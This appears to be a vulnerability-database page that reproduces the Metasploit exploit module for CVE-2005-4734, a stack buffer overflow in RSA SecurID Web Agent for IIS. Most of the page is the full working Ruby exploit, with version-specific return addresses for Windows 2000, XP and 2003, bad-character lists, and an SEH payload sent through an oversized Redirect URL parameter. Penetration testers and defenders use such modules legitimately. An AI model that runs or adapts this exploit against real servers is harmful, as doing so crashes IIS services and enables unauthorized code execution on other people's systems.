Lucene search
K

Microsoft IIS ISAPI RSA WebAgent Redirect Overflow

🗓️ 26 Dec 2005 14:34:22Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

This module exploits a stack buffer overflow in the SecurID Web Agent for IIS. It runs in-process with inetinfo.exe, any attempt to exploit this flaw will result in the termination and potential restart of the IIS service

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2005-4734
20 Sep 201000:00
circl
Check Point Advisories
IIS RSA Authentication Agent for Web Redirect Buffer Overflow (CVE-2005-4734)
22 Nov 200900:00
checkpoint_advisories
CVE
CVE-2005-4734
19 Mar 200623:00
cve
Cvelist
CVE-2005-4734
19 Mar 200623:00
cvelist
Exploit DB
Microsoft IIS - ISAPI RSA WebAgent Redirect Overflow (Metasploit)
20 Sep 201000:00
exploitdb
NVD
CVE-2005-4734
31 Dec 200505:00
nvd
Packet Storm
Microsoft IIS ISAPI RSA WebAgent Redirect Overflow
26 Nov 200900:00
packetstorm
Saint
RSA SecurID Web Agent for IIS redirect buffer overflow
30 Nov 200500:00
saint
Saint
RSA SecurID Web Agent for IIS redirect buffer overflow
30 Nov 200500:00
saint
Saint
RSA SecurID Web Agent for IIS redirect buffer overflow
30 Nov 200500:00
saint
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft IIS ISAPI RSA WebAgent Redirect Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the SecurID Web
        Agent for IIS. This ISAPI filter runs in-process with
        inetinfo.exe, any attempt to exploit this flaw will result
        in the termination and potential restart of the IIS service.

      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-4734'],
          ['OSVDB', '20151'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x23\x25\x26\x27\x2b\x2f" +
            (0x3a..0x3f).to_a.pack('C*') + "\x40\x5c" + "Zz",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Version-specific return addresses
          ['RSA WebAgent 5.2', { 'Rets' => [ 996, 0x1001e694 ] }],
          ['RSA WebAgent 5.3', { 'Rets' => [ 992, 0x10010e89 ] }],

          # Generic return addresses
          ['RSA WebAgent 5.2 on Windows 2000 English', { 'Rets' => [ 996, 0x75022ac4 ] }],
          ['RSA WebAgent 5.3 on Windows 2000 English', { 'Rets' => [ 992, 0x75022ac4 ] }],

          ['RSA WebAgent 5.2 on Windows XP SP0-SP1 English', { 'Rets' => [ 996, 0x71ab1d54 ] }],
          ['RSA WebAgent 5.3 on Windows XP SP0-SP1 English', { 'Rets' => [ 992, 0x71ab1d54 ] }],

          ['RSA WebAgent 5.2 on Windows XP SP2 English', { 'Rets' => [ 996, 0x71ab9372 ] }],
          ['RSA WebAgent 5.3 on Windows XP SP2 English', { 'Rets' => [ 992, 0x71ab9372 ] }],

          ['RSA WebAgent 5.2 on Windows 2003 English SP0', { 'Rets' => [ 996, 0x7ffc0638 ] }],
          ['RSA WebAgent 5.3 on Windows 2003 English SP0', { 'Rets' => [ 992, 0x7ffc0638 ] }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2005-10-21'))

    register_options(
      [
        OptString.new('URL', [ true,  "The path to IISWebAgentIF.dll", "/WebID/IISWebAgentIF.dll" ]),
      ])
  end

  def check
    r = send_request_raw({
      'uri'   => normalize_uri(datastore['URL']),
      'query' => 'GetPic?image=msf'
    }, -1)

    if (r and r.body and r.body =~ /RSA Web Access Authentication/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    pat = rand_text_alphanumeric(8192).gsub(/\d|Z/i, 'A') # HACK
    seh = generate_seh_payload(target['Rets'][1])
    pat[target['Rets'][0]-4, seh.length] = seh

    r = send_request_raw({
      'uri'   => normalize_uri(datastore['URL']),
      'query' => 'Redirect?url=' + pat
    }, 5)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation